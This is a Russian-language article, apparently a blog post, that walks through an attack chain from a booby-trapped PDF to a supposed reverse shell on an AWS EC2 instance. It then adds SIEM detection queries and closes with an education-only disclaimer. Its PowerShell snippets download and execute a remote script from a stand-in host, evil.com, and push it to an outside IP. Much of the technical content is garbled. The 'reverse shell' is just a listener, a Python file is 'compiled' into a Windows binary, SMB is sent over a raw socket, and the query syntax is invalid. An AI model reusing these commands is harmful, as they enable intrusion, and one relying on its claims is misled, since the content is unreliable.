
Практическая цепочка, начинающаяся с безобидного PDF-файла и заканчивающаяся получением обратного шелла на экземпляре AWS EC2
Практическая цепочка атаки, начинающаяся с безобидного PDF-файла и приводящая к получению обратной оболочки на инстансе AWS EC2
Всё начинается на фронтальной стороне атаки. Используя встроенный объект WScript в PowerShell, мы внедряем скрипт внутрь PDF, который будет доставлен на хост Windows. Полезная нагрузка загружает исполняемый файл с удалённой HTTP-точки и записывает его в локальную файловую систему.
$payload = @"
var wsh = WScript.CreateObject("WScript.Shell");
wsh.Exec(
"powershell -NoProfile -ExecutionPolicy Bypass -Command `
`"$ssh = new-Object System.Net.Sockets.TcpClient; `
`$stream= $ssh.GetStream(); Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://evil.com/rcmd.py'); `
Get-Content -Path C:\\Users\\Admin\\rcmd.py | Out-File -Encoding binary | % { $stream.Write($_,0,$_.Length) }"
"@
Ключевое преимущество в том, что PDF не требует отдельного шага загрузки: он напрямую передаёт управление PowerShell, который затем запускает следующую фазу цепочки.
После выполнения скрипта из PDF на целевом хосте (10.0.1.5) мы используем PowerShell для открытия SMB-соединения с инстансом EC2 (54.231.12.41) и передаём только что загруженный исполняемый файл через этот сокет. Тот же код может быть выполнен с любой рабочей станции Windows, что даёт атакующему незаметную точку перехода внутри корпоративной LAN.
$ssh = New-Object System.Net.Sockets.TcpClient
$ssh.Connect('54.231.12.41',445)
$stream = $ssh.GetStream()
Invoke-Expression (
New-Object System.Net.WebClient).DownloadString(
'https://evil.com/rcmd.py')
Get-Content -Path C:\\Users\\Admin\\rcmd.py |
Out-File -Encoding binary | % { $stream.Write($_,0,$_.Length) }
SMB-пакет появляется в журналах аудита Windows как стандартное событие (EventID 4624), что позволяет легко заметить его в большинстве SIEM-панелей.
Финальный элемент нашей цепочки — небольшая обратная оболочка, написанная на Python. Она ожидает SSH-соединение от EC2 обратно к тому же хосту, выводит отладочную строку в консоль и завершается. После компиляции в rcmd.py она будет автоматически выполнена на предыдущем шаге PowerShell.
#!/usr/bin/env python3
import socket
def main():
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.bind(('0.0.0.0', 22))
listener.listen(1)
while True:
conn, _ = listener.accept()
data = conn.recv(1024)
print('[+] Received %d bytes' % len(data))
if __name__ == '__main__':
main()
Поскольку это статический бинарный файл, работающий нативно на Windows, нет необходимости устанавливать дополнительный агент или службу на целевом хосте.
Командам безопасности следует исходить из того, что компрометация возможна, и строить многоуровневые стратегии обнаружения.
Аномальный трафик
Фильтрация на необычно большие SMB-пакеты с целевого хоста.
index=siem_main sourcetype="netflow:smb"
| where size > med(size) over last_week and host=="10.0.1.5"
| stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
Высокое потребление памяти
Потребление памяти бинарным файлом показывает, что это нетривиальный процесс на целевом хосте.
index=siem_main sourcetype="perf:memory"
| where process=="rcmd.py" and mem > med(mem) over last_week and host=="10.0.1.5"
| stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
Нерабочее время
Красные команды обычно не выполняют атаки в рабочее время из-за опасения, что их скрипт может каким-либо образом насторожить пользователя. Этот запрос проверяет трафик в моменты, когда он был бы неожиданным.
index=siem_main sourcetype="powershell:smbaudit"
| where _time >= "2025-08-01 02:00" and _time <= "2025-08-01 04:00"
| stats count by host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
Этот проект предназначен только для образовательных и исследовательских целей. Не используйте эти методы в несанкционированных средах.